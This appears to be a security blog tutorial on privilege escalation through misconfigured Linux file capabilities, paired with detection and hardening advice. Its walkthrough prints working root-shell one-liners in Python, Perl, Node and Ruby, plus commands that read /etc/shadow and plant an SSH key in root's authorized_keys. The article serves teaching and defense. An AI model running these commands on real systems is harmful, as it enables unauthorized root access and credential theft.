Linux Capabilities Abuse: cap_setuid and Friends

Linux Capabilities Abuse: cap_setuid and Friends - article cover image Linux Privesc
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Linux capabilities split the monolithic power of root into roughly forty discrete privileges (CAP_NET_BIND_SERVICE, CAP_SYS_ADMIN, CAP_DAC_READ_SEARCH, CAP_SETUID, and so on) so that a process or a binary can be granted exactly the sliver of root it needs instead of running fully privileged or fully unprivileged. In principle this is a hardening feature: a web server that needs to bind port 80 can get CAP_NET_BIND_SERVICE alone instead of running as root. In practice, capabilities assigned carelessly to the wrong binary — especially a general-purpose interpreter — are just as dangerous as a SUID root bit, and far less likely to be checked, because most privilege-escalation audits fixate on find / -perm -4000 and forget getcap -r /.

CAP_SETUID is the capability that matters most for escalation: a process holding it in its effective set can call setuid(0) (or setresuid, setfsuid) and become root outright, no exploit required. Because file capabilities are stored as extended attributes on the binary itself (security.capability) rather than as a single SUID bit visible in a normal ls -l, they are far easier to plant, harder to notice in a casual directory listing, and frequently survive hardening passes that specifically hunt for and strip SUID bits but never think to run getcap.

Attack Prerequisites

Exploiting capabilities requires that a powerful capability already be attached to a binary the attacker can execute. Concretely:

  • Local shell access as any low-privileged user able to execute the capable binary.
  • A binary with a dangerous capability set in its effective set — most usefully cap_setuid, but cap_dac_read_search/cap_dac_override (bypass file read/write checks), cap_sys_admin (broad, near-root), or cap_sys_ptrace (attach to and manipulate other processes) are all viable escalation paths.
  • The +ep flag pair set on the capability — e (effective) and p (permitted) must both be present for the capability to actually be usable by the running process, not just inheritable.
  • No compensating control such as no_new_privs, a restrictive seccomp profile, or a LSM (AppArmor/SELinux) policy that blocks the capable binary from being invoked with attacker-controlled arguments.

How It Works

Every Linux process carries five capability sets (effective, permitted, inheritable, bounding, and ambient). When a binary is executed, the kernel consults the file’s security.capability extended attribute — set with setcap — and, if present, raises the corresponding bits into the new process’s effective and permitted sets *without* requiring the binary to be owned by root or SUID at all. This is the entire point of the mechanism: a capability-aware binary can gain narrowly-scoped root powers while remaining owned by an unprivileged user and fully readable/inspectable.

The abuse case is that the kernel has no concept of “this capability is only safe on binary X.” If cap_setuid+ep ends up on /usr/bin/python3, /usr/bin/perl, /usr/bin/node, or any other general-purpose interpreter — which happens surprisingly often, usually because an application install script or a well-meaning admin ran setcap to let a specific script bind a low port or read a privileged file, and grabbed the interpreter binary instead of a narrowly scoped wrapper — the interpreter can be handed *any* code at all, including a one-liner that calls os.setuid(0) and spawns a shell. The capability does not care what code is running inside the process; it only cares that the process is that specific file.

Capabilities also persist independently of file ownership changes and are not cleared by a normal chmod; only setcap -r (or removing/overwriting the file) strips them. This is why they linger in images and golden AMIs long after the original justification for granting them is gone, and why getcap -r / across a filesystem frequently turns up forgotten capable binaries nobody remembers setting.

Vulnerable Code / Configuration

The vulnerable “configuration” is a single setcap invocation, typically run once during provisioning and then forgotten:

# Someone grants an interpreter unrestricted UID-change power,
# usually to let one specific script bind port 443 or read a root-owned file:
sudo setcap cap_setuid+ep /usr/bin/python3.11

$ getcap /usr/bin/python3.11
/usr/bin/python3.11 cap_setuid=ep
#                    ^^^^^^^^^^^^ full setuid power, on a GENERAL interpreter
# any user who can invoke python3.11 can become root -- the capability has
# no idea it was meant for one narrow script
Bash

The same mistake on other general-purpose binaries is equally exploitable and equally easy to overlook in a directory listing, since ownership and mode bits look completely ordinary:

$ getcap -r / 2>/dev/null
/usr/bin/python3.11 = cap_setuid+ep
/usr/bin/perl = cap_setuid+ep
/usr/bin/openssl = cap_dac_read_search+ep
/opt/tools/backup-agent = cap_dac_override,cap_dac_read_search+ep

$ ls -l /usr/bin/python3.11
-rwxr-xr-x 1 root root 6224432 Mar  2 2025 /usr/bin/python3.11
# no SUID bit at all in the permission string -- 'find -perm -4000' misses this
Bash

Walkthrough / Exploitation

Enumerate every file capability on the filesystem — this is the capabilities equivalent of find / -perm -4000 and should be run alongside it on every engagement:

getcap -r / 2>/dev/null
# older systems without getcap -r:
for f in $(find / -xdev -type f 2>/dev/null); do
  getcap "$f" 2>/dev/null
done | grep -v '= $'
Bash

If cap_setuid+ep is present on an interpreter, escalate directly by calling the raw syscall from inside that interpreter — no external tooling needed:

# Python
/usr/bin/python3.11 -c 'import os; os.setuid(0); os.setgid(0); os.system("/bin/sh")'

# Perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

# Node.js
/usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: "inherit"})'

# Ruby
/usr/bin/ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
Bash

cap_dac_read_search/cap_dac_override are handled differently since they do not grant UID changes directly — instead they bypass file permission checks, so the goal is reading/writing something that leads to root, such as /etc/shadow or a root-owned SSH authorized_keys:

# with cap_dac_read_search on python3, read any file regardless of perms:
python3 -c 'print(open("/etc/shadow").read())'

# with cap_dac_override, write into a root-owned cron dir or authorized_keys:
python3 -c "open('/root/.ssh/authorized_keys','a').write(open('/home/user/.ssh/id_rsa.pub').read())"
Bash

Note: getcap output that lists a capability without +ep (e.g. just cap_setuid=i, inheritable only) is generally not directly exploitable by simply running the binary — inheritable capabilities require the parent process to also cooperate via ambient sets or file-inheritable chains. Confirm the flags before assuming exploitability; +ep (effective+permitted) is the pattern that fires immediately on exec.

Opsec: capsh --print from inside a shell shows the current process’s full capability state, which is useful for confirming a capability actually landed in your effective set after exec, and capsh --decode=<hex> turns a raw capability bitmask (as seen in /proc/<pid>/status‘s CapEff line) into readable names when auditing without getcap available.

Detection and Defense

Capabilities need the same scrutiny as SUID bits during hardening, plus attention to which binary class received the grant:

  • Run getcap -r / in every privilege-escalation audit and hardening checklist alongside find / -perm -4000 — it is not covered by a SUID sweep.
  • Never grant powerful capabilities to general-purpose interpreters or shells (python, perl, node, ruby, bash, php); if a script needs elevated capability, wrap it in a small, purpose-built compiled binary and capability that instead.
  • Prefer dropping privileges in the service itself (e.g. systemd’s AmbientCapabilities=/CapabilityBoundingSet= scoped to a unit, or application-level privilege drop after binding a port) over statically capping a binary on disk.
  • Baseline getcap -r / output at provisioning time and alert on drift — capabilities are extended attributes and will show up in filesystem integrity monitoring (auditd, AIDE) if configured to track security.capability.
  • Strip capabilities that are no longer needed with setcap -r <path> during periodic cleanup of golden images and containers.

Real-World Impact

Capability misconfiguration is a well-known privilege-escalation vector documented extensively on GTFOBins (which lists Capabilities alongside SUID and Sudo for binaries like python, perl, node, ruby, and tar) and is a routine finding in container and CI/CD build-agent images, where setcap is sometimes used as a quick workaround to let an application bind a privileged port without running the whole container as root — and the capability ends up on the interpreter instead of a narrow helper. It shows up regularly in Linux privilege-escalation CTF rooms specifically because it is easy to introduce accidentally and easy to overlook during review.

Conclusion

Capabilities are a genuine hardening improvement over blanket SUID root when scoped correctly, but a single careless setcap cap_setuid+ep on a general interpreter recreates the exact same risk as a SUID root shell — with the added danger that most reviewers never think to look for it. Treat getcap -r / as mandatory in every audit, keep capabilities off general-purpose interpreters entirely, and prefer runtime privilege-drop mechanisms over static file capabilities wherever the application supports it.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL